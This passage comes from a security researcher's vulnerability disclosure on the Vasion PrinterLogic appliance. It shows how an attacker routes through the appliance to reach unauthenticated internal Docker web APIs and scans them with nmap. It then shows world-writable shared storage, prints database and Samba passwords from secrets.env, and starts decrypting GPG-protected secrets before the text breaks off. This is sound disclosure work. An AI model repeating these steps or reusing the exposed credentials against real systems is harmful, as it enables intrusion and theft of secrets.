              inet addr:172.17.0.156  Bcast:172.17.0.255  Mask:255.255.255.128
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:124 errors:0 dropped:0 overruns:0 frame:0
              TX packets:86 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:0 
              RX bytes:8599 (8.3 KiB)  TX bytes:36949 (36.0 KiB)
    
    lo        Link encap:Local Loopback  
              inet addr:127.0.0.1  Mask:255.0.0.0
              UP LOOPBACK RUNNING  MTU:65536  Metric:1
              RX packets:9376 errors:0 dropped:0 overruns:0 frame:0
              TX packets:9376 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000 
              RX bytes:1319224 (1.2 MiB)  TX bytes:1319224 (1.2 MiB)
    
    bash-5.0#

- From the attacker machine, it is required to add routes to internal IP of 
Docker instances, using the IP of the PrinterLogic server as a gateway 
(10.105.0.241).

Adding a route to rach a Docker instance:

    kali# route add -host 172.17.0.156 gw 10.105.0.241
    kali# traceroute -nI 172.17.0.156 
    traceroute to 172.17.0.156 (172.17.0.156), 30 hops max, 60 byte packets
     1  10.105.0.241  0.269 ms  0.259 ms  0.259 ms
     2  172.17.0.156  0.441 ms  0.459 ms  0.460 ms

It is now possible to interact with the internal webserver running on the 
Docker instance with the IP 172.16.0.156 (`printerlogic/ebb`):

    kali% curl -kv http://172.17.0.156/
    *   Trying 172.17.0.156:80...
    * Connected to 172.17.0.156 (172.17.0.156) port 80 (#0)
    > GET / HTTP/1.1
    > Host: 172.17.0.156
    > User-Agent: curl/7.79.1
    > Accept: */*
    > 
    * Mark bundle as not supporting multiuse
    < HTTP/1.1 302 Found
    < Content-Security-Policy: default-src 'self';base-uri 
'self';block-all-mixed-content;font-src 'self' https: data:;frame-ancestors 
'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 
'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
    * Connection #0 to host 172.17.0.156 left intact
    Found. Redirecting to /api-docs
    %

We have a full access to the internal webserver running inside a Docker instance

By default, the `docker_gwbridge` network will be reachable from the WAN. This 
network is used by the Docker instances to get connectivity:

Docker network configuration:

    root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# 
docker network ls
    NETWORK ID          NAME                DRIVER              SCOPE
    7a0cd0d79106        bridge              bridge              local
    a0f7589c4c27        cicd_default        bridge              local
    yyeicsrfgvdj        config_default      overlay             swarm
    7d70cb612a96        docker_gwbridge     bridge              local
    e500f5cc9286        host                host                local
    g13ns8jd9aw9        ingress             overlay             swarm
    22493bb20f06        none                null                local
    03r08ptuv9li        printercloud        overlay             swarm
    19d8681ed357        secrets_default     bridge              local
    tke7a3glgyqe        storage_default     overlay             swarm
    root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# 
docker network inspect docker_gwbridge | grep 172
                        "Subnet": "172.17.0.128/25",
                        "Gateway": "172.17.0.129"
                    "IPv4Address": "172.17.0.169/25",
                    "IPv4Address": "172.17.0.145/25",
                    "IPv4Address": "172.17.0.134/25",
                    "IPv4Address": "172.17.0.136/25",

We can add routes for the entire 172.17.0.0/16 IP range:

    kali# route add -net 172.17.0.0/16 gw 10.105.0.241

An attacker scanning the first /24 IP range will detect 29 open HTTP servers.

Full access to all the internal webserver providing APIs without authentication:

    kali% nmap -sT -p 80 -v -Pn -n -sV 172.17.0.0/24 
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan 
times may be slower.
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-08 04:37 EST
    NSE: Loaded 45 scripts for scanning.
    Initiating Connect Scan at 04:37
    Scanning 256 hosts [1 port/host]
    Discovered open port 80/tcp on 172.17.0.1
    Discovered open port 80/tcp on 172.17.0.135
    Discovered open port 80/tcp on 172.17.0.138
    Discovered open port 80/tcp on 172.17.0.141
    Discovered open port 80/tcp on 172.17.0.142
    Discovered open port 80/tcp on 172.17.0.129
    Discovered open port 80/tcp on 172.17.0.143
    Discovered open port 80/tcp on 172.17.0.146
    Discovered open port 80/tcp on 172.17.0.147
    Discovered open port 80/tcp on 172.17.0.149
    Discovered open port 80/tcp on 172.17.0.151
    Discovered open port 80/tcp on 172.17.0.152
    Discovered open port 80/tcp on 172.17.0.155
    Discovered open port 80/tcp on 172.17.0.156
    Discovered open port 80/tcp on 172.17.0.157
    Discovered open port 80/tcp on 172.17.0.159
    Discovered open port 80/tcp on 172.17.0.160
    Discovered open port 80/tcp on 172.17.0.161
    Discovered open port 80/tcp on 172.17.0.162
    Discovered open port 80/tcp on 172.17.0.163
    Discovered open port 80/tcp on 172.17.0.164
    Discovered open port 80/tcp on 172.17.0.165
    Discovered open port 80/tcp on 172.17.0.166
    Discovered open port 80/tcp on 172.17.0.167
    Discovered open port 80/tcp on 172.17.0.168
    Discovered open port 80/tcp on 172.17.0.169
    Discovered open port 80/tcp on 172.17.0.130
    Discovered open port 80/tcp on 172.17.0.140
    Discovered open port 80/tcp on 172.17.0.144

When these webservers are accessed through a browser, it appears there are 
internal webservers providing APIs. The attacker will have a full access to 
these servers without authentication.    


Full access to all the internal webserver providing APIs, without authentication

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Full access to all the internal webserver providing APIs, without authentication

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Full access to all the internal webserver providing APIs, without authentication

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

An attacker located on the same network segment can reach internal services and 
bypass the entire security of the solution.

The attack surface is very large because of the exposure of the internal Docker 
instances.

For example, an attacker reaching the previous Redis instance will achieve a 
Remote Code Execution against the appliance.



## Details - Incorrect security architecture and wrong permissions in 
/var/www/efs_storage allowing allowing to compromise the solution

The directory `/var/www/efs_storage` contains all the configuration files of 
the appliance. A read/write access to this directory will allow an attacker to 
compromise the appliance.

It appears the Docker instances have access to `/var/www/efs_storage`, as shown 
below.

Docker instances with access to `/var/www/efs_storage`:

    16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh"  4 hours ago Up 
4 hours (healthy) 80/tcp 
printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
                        "Source": "/var/www/efs_storage",
                        "Target": "/var/www/efs_storage"
                    "Source": "/var/www/efs_storage",
                    "Destination": "/var/www/efs_storage",
                    "APPLIANCE_STORAGE_TARGET=/var/www/efs_storage",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 
4 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
                        "Source": "/var/www/efs_storage/pi/cache",
                        "Source": "/var/www/efs_storage/null",
                        "Source": "/var/www/efs_storage/pi/storage",
                        "Source": "/var/www/efs_storage/pi/storage/api",
                        "Source": "/var/www/efs_storage/pi/storage/app",
                        "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                        "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    a393b51c084e printerlogic/authn:1.0.257 "/var/www/app/.docke" 4 hours ago 
Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_authn.1.jx70uxweg3iown085yiuis4j6
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 4 hours 
ago Up 4 hours (healthy) 80/tcp 
printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    69e727ce5901 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 
4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_pi.1.nk5ouy3a7jwid082dhzl0mix5
                        "Source": "/var/www/efs_storage/pi/cache",
                        "Source": "/var/www/efs_storage/null",
                        "Source": "/var/www/efs_storage/pi/storage",
                        "Source": "/var/www/efs_storage/pi/storage/api",
                        "Source": "/var/www/efs_storage/pi/storage/app",
                        "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                        "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh " 4 hours ago 
Up 4 hours (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    0ee9b6a63f59 printerlogic/idpi:1.0.6 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_idpi.1.35xxr3pqef00ivcn2no6y90rr
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" 4 hours 
ago Up 4 hours (healthy) 80-81/tcp 
printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    11146de0ed76 dperson/samba:latest "/sbin/tini -- /opt/" 4 hours ago Up 4 
hours (healthy) 139/tcp, 137-138/udp, 445/tcp 
config_samba.1.dfwyt1m90ab30k75fogxhcxcz
                        "Source": "/var/www/efs_storage",
                    "Source": "/var/www/efs_storage",
    
    7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 
4 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
                        "Source": "/var/www/efs_storage/pi/cache",
                        "Source": "/var/www/efs_storage/null",
                        "Source": "/var/www/efs_storage/pi/storage",
                        "Source": "/var/www/efs_storage/pi/storage/api",
                        "Source": "/var/www/efs_storage/pi/storage/app",
                        "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                        "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 
4 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
                        "Source": "/var/www/efs_storage/pi/cache",
                        "Source": "/var/www/efs_storage/null",
                        "Source": "/var/www/efs_storage/pi/storage",
                        "Source": "/var/www/efs_storage/pi/storage/api",
                        "Source": "/var/www/efs_storage/pi/storage/app",
                        "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                        "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh " 4 hours ago Up 
4 hours (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.docke" 4 hours ago Up 
4 hours 80/tcp, 443/tcp, 9000/tcp 
printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    a2cac82b5586 printerlogic/users:5.186.1 "/var/www/app/.docke" 4 hours ago 
Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_users.1.zoorlq8nwkx15smt2cegigo8h
                        "Source": "/var/www/efs_storage/users/storage",
                    "Source": "/var/www/efs_storage/users/storage",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 
4 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
                        "Source": "/var/www/efs_storage/pi/cache",
                        "Source": "/var/www/efs_storage/null",
                        "Source": "/var/www/efs_storage/pi/storage",
                        "Source": "/var/www/efs_storage/pi/storage/api",
                        "Source": "/var/www/efs_storage/pi/storage/app",
                        "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                        "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    77c42d53c3b2 mysql:8.0.26 "docker-entrypoint.s" 4 hours ago Up 4 hours 
(healthy) 3306/tcp, 33060/tcp storage_mysql.1.ff8nbsv250u5d3vqk9r62ripe
                        "Source": "/var/www/efs_storage/mysql",
                        "Source": "/var/www/efs_storage/exodus",
                    "Source": "/var/www/efs_storage/mysql",
                    "Source": "/var/www/efs_storage/exodus",
    
    b4f9ccdf92cb printerlogic/gw:1.208.5 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_gw.1.vznnoqqf3kbhcwfwkl3plzi39
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 4 hours ago Up 
4 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
                        "Source": "/var/www/efs_storage/pi/cache",
                        "Source": "/var/www/efs_storage/null",
                        "Source": "/var/www/efs_storage/pi/storage",
                        "Source": "/var/www/efs_storage/pi/storage/api",
                        "Source": "/var/www/efs_storage/pi/storage/app",
                        "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                        "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/storage",
                    "Source": "/var/www/efs_storage/pi/storage/api",
                    "Source": "/var/www/efs_storage/pi/storage/app",
                    "Source": 
"/var/www/efs_storage/pi/storage/framework/sessions",
                    "Source": "/var/www/efs_storage/null",
                    "Source": "/var/www/efs_storage/pi/cache",
                    "Source": "/var/www/efs_storage/null",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    f37db8c79a50 printerlogic/br:1.0.62 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 80/tcp, 443/tcp printercloud_br.1.30m12skgwj5mu3y0ypfkp319q
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" 4 hours 
ago Up 4 hours (healthy) 80/tcp 
printercloud_identity.1.8x0lwby90079bojeabu8vhead
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh " 4 hours ago Up 4 
hours (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" 4 hours ago 
Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" 4 hours ago Up 
4 hours (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    171c014430d7 printerlogic/tree:1.0.57 "/var/www/app/.docke" 4 hours ago Up 
4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_tree.1.7n99xw0qv856wjvj3eleaflij
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    a7656e45349d traefik:latest "/srv/entrypoint.sh " 4 hours ago Up 4 hours 
80/tcp networking_traefik.1.rjigvw3twkt4qkeldzbqbqn2u
                        "Source": "/var/www/efs_storage/certs",
                        "Source": "/var/www/efs_storage/pi/storage/certs",
                        "Target": "/var/www/efs_storage/pi/storage/certs",
                    "Source": "/var/www/efs_storage/pi/storage/certs",
                    "Destination": "/var/www/efs_storage/pi/storage/certs",
                    "Source": "/var/www/efs_storage/certs",
    
    8ec8a6bf4555 printerlogic/scim:1.0.9 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_scim.1.okyfdbo5ct76v54eppsanw0me
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    d2e3989f4cf3 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" 4 hours ago 
Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_cpp-ui.1.qhmgeshht9gip0quyhppdogv3
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    fce5597bbe3d printerlogic/va-cdn:0.0.435 "/docker-entrypoint." 4 hours ago 
Up 4 hours 80/tcp printercloud-appliance_va-cdn.1.copecxekt4rwuxfq4tynfm1a6
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    294dbdd973da printerlogic/scd:1.0.70 "/var/www/app/.docke" 4 hours ago Up 4 
hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_scd.1.3eef4r68kmkqnc5dcswa3xjhv
                        "Source": "/var/www/efs_storage/scd/storage",
                    "Source": "/var/www/efs_storage/scd/storage",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    6cb464ab04b7 portainer/agent:latest "./agent" 4 hours ago Up 4 hours 
printercloud_portainer-agent.a6zgwxfp4n2v4tdi8u7b40shy.aoew1w8ym8p1hai6ch38dau7j
    
    55b64c63a9f6 printerlogic/pq:5.0.124 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 80/tcp, 443/tcp, 9000/tcp 
printercloud_pq.1.vwp9poc8belv24mxwijeeetct
                        "Source": "/var/www/efs_storage/pq/storage",
                    "Source": "/var/www/efs_storage/pq/storage",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" 4 hours ago Up 4 
hours (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
                        "Source": "/var/www/efs_storage/ofn/storage",
                    "Source": "/var/www/efs_storage/ofn/storage",
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" 4 hours ago Up 
4 hours (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" 4 hours 
ago Up 4 hours printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
                        "Source": "/var/www/efs_storage/client/ppd",
                        "Source": "/var/www/efs_storage/client/printers",
                        "Source": "/var/www/efs_storage/client/jobs",
                        "Source": "/var/www/efs_storage/logs/client",
                        "Source": "/var/www/efs_storage/client/tmp",
                        "Source": "/var/www/efs_storage/client/etc",
                    "Source": "/var/www/efs_storage/client/tmp",
                    "Source": "/var/www/efs_storage/client/etc",
                    "Source": "/var/www/efs_storage/client/ppd",
                    "Source": "/var/www/efs_storage/client/printers",
                    "Source": "/var/www/efs_storage/client/jobs",
                    "Source": "/var/www/efs_storage/logs/client",
    
    1d856b21e63d redis:5-alpine "docker-entrypoint.s" 4 hours ago Up 4 hours 
(healthy) 6379/tcp storage_redis.1.zachure4n159uah7xsu3ixau6
    
    a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" 4 hours ago Up 4 
hours (healthy) 80/tcp, 9229/tcp 
printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
                    "SHARED_STORAGE=/var/www/efs_storage",
    
    022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh " 6 days ago Up 4 
hours cicd_hive_1
                    "/var/www/efs_storage:/var/www/efs_storage:rw",
                    "Source": "/var/www/efs_storage",
                    "Destination": "/var/www/efs_storage",
                    "/var/www/efs_storage": {}

Testing a random docker instance will confirm there is a full access to the 
`/var/www/efs_storage` directory. A `test` directory will be created in 
`/var/www/efs_storage` from the `printerlogic/va-api` instance:

    root@printerlogic:/var/www/efs_storage# docker ps|grep api
    16178d2bccb2        printerlogic/va-api:1.1.4        "/opt/entrypoint.sh "  
 5 hours ago         Up 5 hours (healthy)   80/tcp                           
printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
    root@printerlogic:/var/www/efs_storage# docker exec -it 16178d2bccb2 /bin/sh
    / # cd /var/www/efs_storage
    /var/www/efs_storage # ls -la 
    total 96
    drwxrwsr-x   18 xfs      ping          4096 Feb  2 08:15 .
    drwxr-xr-x    1 root     root          4096 Oct 13 16:29 ..
    drwxrwsr-x    6 root     ping          4096 Jan 28 02:28 .hive
    drwxrwsr-x    2 1000     ping          4096 Jan 27 09:36 .secrets
    -rw-rw-r--    1 1000     ping            56 Jan 27 10:16 .update_history
    drwxrwsr-x    3 root     ping          4096 Jan 27 10:18 .updates
    drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:37 certs
    drwxrwsr-x    7 1000     ping          4096 Jan 27 09:37 client
    drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:36 exodus
    drwxrwsr-x    4 1000     ping          4096 Jan 27 09:37 logs
    drwxrwsr-x    2 root     ping         16384 Jan 27 09:34 lost+found
    drwxrwsr-x   18 999      ping          4096 Feb  2 03:37 mysql
    drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:36 null
    drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 ofn
    drwxr-sr-x    6 root     root          4096 Jan 27 10:18 pc-sys
    drwxrwsr-x    4 1000     ping          4096 Jan 27 09:36 pi
    drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 pq
    drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 scd
    -rwxrwsr-x    1 root     ping          3519 Jan 27 09:36 secrets.env
    drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 users
    /var/www/efs_storage # mkdir test
    /var/www/efs_storage # ls -la
    total 100
    drwxrwsr-x   19 xfs      ping          4096 Feb  2 08:15 .
    drwxr-xr-x    1 root     root          4096 Oct 13 16:29 ..
    drwxrwsr-x    6 root     ping          4096 Jan 28 02:28 .hive
    drwxrwsr-x    2 1000     ping          4096 Jan 27 09:36 .secrets
    -rw-rw-r--    1 1000     ping            56 Jan 27 10:16 .update_history
    drwxrwsr-x    3 root     ping          4096 Jan 27 10:18 .updates
    drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:37 certs
    drwxrwsr-x    7 1000     ping          4096 Jan 27 09:37 client
    drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:36 exodus
    drwxrwsr-x    4 1000     ping          4096 Jan 27 09:37 logs
    drwxrwsr-x    2 root     ping         16384 Jan 27 09:34 lost+found
    drwxrwsr-x   18 999      ping          4096 Feb  2 03:37 mysql
    drwxrwsr-x    2 xfs      ping          4096 Jan 27 09:36 null
    drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 ofn
    drwxr-sr-x    6 root     root          4096 Jan 27 10:18 pc-sys
    drwxrwsr-x    4 1000     ping          4096 Jan 27 09:36 pi
    drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 pq
    drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 scd
    -rwxrwsr-x    1 root     ping          3519 Jan 27 09:36 secrets.env
    drwxrwsr-x    2 root     ping          4096 Feb  2 08:15 test
    drwxrwsr-x    3 1000     ping          4096 Jan 27 09:36 users
    /var/www/efs_storage #

Furthermore, the directory `/var/www/efs_storage` contains credentials used by 
the appliance. By default, everything is world-readable.

Listing of `/var/www/efs_storage`:

    root@printerlogic:/var/www/efs_storage# ls -la /var/www/efs_storage/
    total 92
    drwxrwsr-x+ 18 www-data docker  4096 Jan 27 10:18 .
    drwxrwsr-x+  6 ubuntu   docker  4096 Dec 28 18:10 ..
    drwxrwsr-x+  2 www-data docker  4096 Jan 27 09:37 certs
    drwxrwsr-x+  7 ubuntu   docker  4096 Jan 27 09:37 client
    drwxrwsr-x+  2 www-data docker  4096 Jan 27 09:36 exodus
    drwxrwsr-x+  6 root     docker  4096 Jan 28 02:28 .hive
    drwxrwsr-x+  4 ubuntu   docker  4096 Jan 27 09:37 logs
    drwxrwsr-x+  2 root     docker 16384 Jan 27 09:34 lost+found
    drwxrwsr-x+ 18      999 docker  4096 Feb  2 03:37 mysql
    drwxrwsr-x+  2 www-data docker  4096 Jan 27 09:36 null
    drwxrwsr-x+  3 ubuntu   docker  4096 Jan 27 09:36 ofn
    drwxr-sr-x+  6 root     root    4096 Jan 27 10:18 pc-sys
    drwxrwsr-x+  4 ubuntu   docker  4096 Jan 27 09:36 pi
    drwxrwsr-x+  3 ubuntu   docker  4096 Jan 27 09:36 pq
    drwxrwsr-x+  3 ubuntu   docker  4096 Jan 27 09:36 scd
    drwxrwsr-x+  2 ubuntu   docker  4096 Jan 27 09:36 .secrets
    -rwxrwsr-x+  1 root     docker  3519 Jan 27 09:36 secrets.env
    -rw-rw-r--+  1 ubuntu   docker    56 Jan 27 10:16 .update_history
    drwxrwsr-x+  3 root     docker  4096 Jan 27 10:18 .updates
    drwxrwsr-x+  3 ubuntu   docker  4096 Jan 27 09:36 users
    root@printerlogic:/var/www/efs_storage#

It is possible to extract passwords from these files from any user because the 
files are world-readable.

Content of `/var/www/efs_storage/secrets.env`:

    root@printerlogic:/var/www/efs_storage# cat secrets.env  | tail -n 7
    ########### VALUES
    DB_DATABASE="app_pi"
    DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt"
    DB_PORT="3306"
    DB_USERNAME="admin"
    PRINTERCLOUD_DOMAIN="10.105.0.241"
    SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z"
    root@printerlogic:/var/www/efs_storage#

It is also possible to decrypt the GPG-encrypted files stored in 
`/var/www/efs_storage/.secrets/` using the private key that has been extracted 
before in GPG Private key stored in the solution. The files contain the mysql 
root password, the `APP_KEY` value used for Laravel and the portainer password. 
Access to the `APP_KEY` provides remote code execution on Laravel instances.

Decrypted files in /var/www/efs_storage/.secrets:

    root@printerlogic:~# ls -la /var/www/efs_storage/.secrets/
    total 16
    drwxrwsr-x+  2 ubuntu   docker 4096 Feb  8 06:38 .
    drwxrwsr-x+ 19 www-data docker 4096 Feb  2 08:15 ..
    -rw-rw-r--+  1 ubuntu   docker  704 Jan 27 09:36 app-keys.gpg
    -rw-rw-r--+  1 ubuntu   docker  660 Feb  7 08:59 portainer-admin.gpg
    root@printerlogic:~# cd /var/www/efs_storage/.secrets
    root@printerlogic:/var/www/efs_storage/.secrets# gpg app-keys.gpg
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
